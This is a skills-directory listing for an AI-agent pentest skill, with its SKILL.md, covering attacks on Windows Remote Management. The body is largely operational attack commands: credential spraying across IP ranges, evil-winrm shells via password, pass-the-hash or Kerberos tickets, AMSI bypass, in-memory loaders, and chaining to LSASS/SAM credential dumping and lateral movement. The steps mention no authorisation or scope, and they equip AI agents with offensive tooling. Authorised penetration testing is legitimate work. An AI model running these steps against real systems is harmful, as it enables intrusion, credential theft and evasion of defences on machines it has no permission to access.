Skip to content
Back to skills

Winrm Pentest

ASecurity

WinRM (5985/5986) pentesting — detect listeners, validate credentials, and get an interactive shell with evil-winrm using password, pass-the-hash, or Kerberos, plus in-memory loading and file transfer. Tier 1. Use when 5985/5986 is open and you hold any valid Windows credential or hash.

  • 16 stars
  • 0 votes
  • 0 copies
  • 5 views
  • Added November 17, 2026
securityshelltestingbackend

Works with

  • cli

Security analysis

A100/100

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill winrm-pentest --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Winrm Pentest?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Winrm Pentest
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-winrm-pentest/badge)](https://www.skillsdirectory.com/skills/anandjogawade-winrm-pentest)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: winrm-pentest
description: WinRM (5985/5986) pentesting — detect listeners, validate credentials, and get an interactive shell with evil-winrm using password, pass-the-hash, or Kerberos, plus in-memory loading and file transfer. Tier 1. Use when 5985/5986 is open and you hold any valid Windows credential or hash.
---

# WinRM Pentest

WinRM is Windows remote management over HTTP(S). With a valid credential, hash, or Kerberos ticket for a user in Remote Management Users / local admins, evil-winrm gives a full PowerShell shell with file transfer and in-memory script loading.

## Trigger phrases
`winrm, 5985, 5986, evil-winrm, pass the hash winrm, kerberos winrm, remote management, powershell remoting`

## Method
1. **Detect:** `nmap -p5985,5986 <IP>`; `nxc winrm <IP> -u user -p pass` (reports `(Pwn3d!)` when the account can execute).
2. **Validate creds across a range:** `nxc winrm <range> -u users.txt -p pass.txt --continue-on-success` (watch lockout).
3. **Interactive shell (password):** `evil-winrm -i <IP> -u user -p pass`.
4. **[Pass-the-Hash]:** `evil-winrm -i <IP> -u user -H <NTLMhash>` — no plaintext needed.
5. **[Kerberos]:** `export KRB5CCNAME=ticket.ccache; evil-winrm -i <host> -u user -r <REALM>` (`-k`) for ticket-based auth.
6. **HTTPS listener (5986):** add `-S` (and `-c`/`-k` for client cert) when only the TLS listener is up.
7. **In-session:** `upload`/`download`, `Bypass-4MSI`, and `-s <scripts>`/`Invoke-Binary` for in-memory loaders.

## Modern / rare techniques
- **Kerberos-only environments** — combine with AS-REP/TGT from the AD suite, then `evil-winrm -k`.
- **AMSI bypass in-session** (`Bypass-4MSI`) before loading tooling — see redteam-amsi-bypass.
- **Certificate auth (5986)** when password auth is disabled but a client cert/PFX is obtained.

## Escalation / chaining
Shell → windows-privesc, credential dumping (LSASS/SAM), token impersonation; creds/hashes from llmnr/relay/roasting feed this directly; foothold → lateral-movement/pivoting.

## Backend & tooling
Kali/WSL or HexStrike (evil-winrm/nxc/impacket). Works from a networked vantage; use a pivot for segmented targets.

## Verification (background, before reporting)
Confirm `(Pwn3d!)` with nxc AND an actual evil-winrm shell (run `whoami /all`); re-validate the credential/hash independently before reporting access; confirm admin vs non-admin context.

## Evidence
nxc output, evil-winrm session transcript (`whoami`, hostname), auth method used (pass/PtH/Kerberos), impact. Remediation: restrict WinRM to a management network, HTTPS listener only, disable Basic auth, least-privilege Remote Management Users, monitor 5985/5986.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.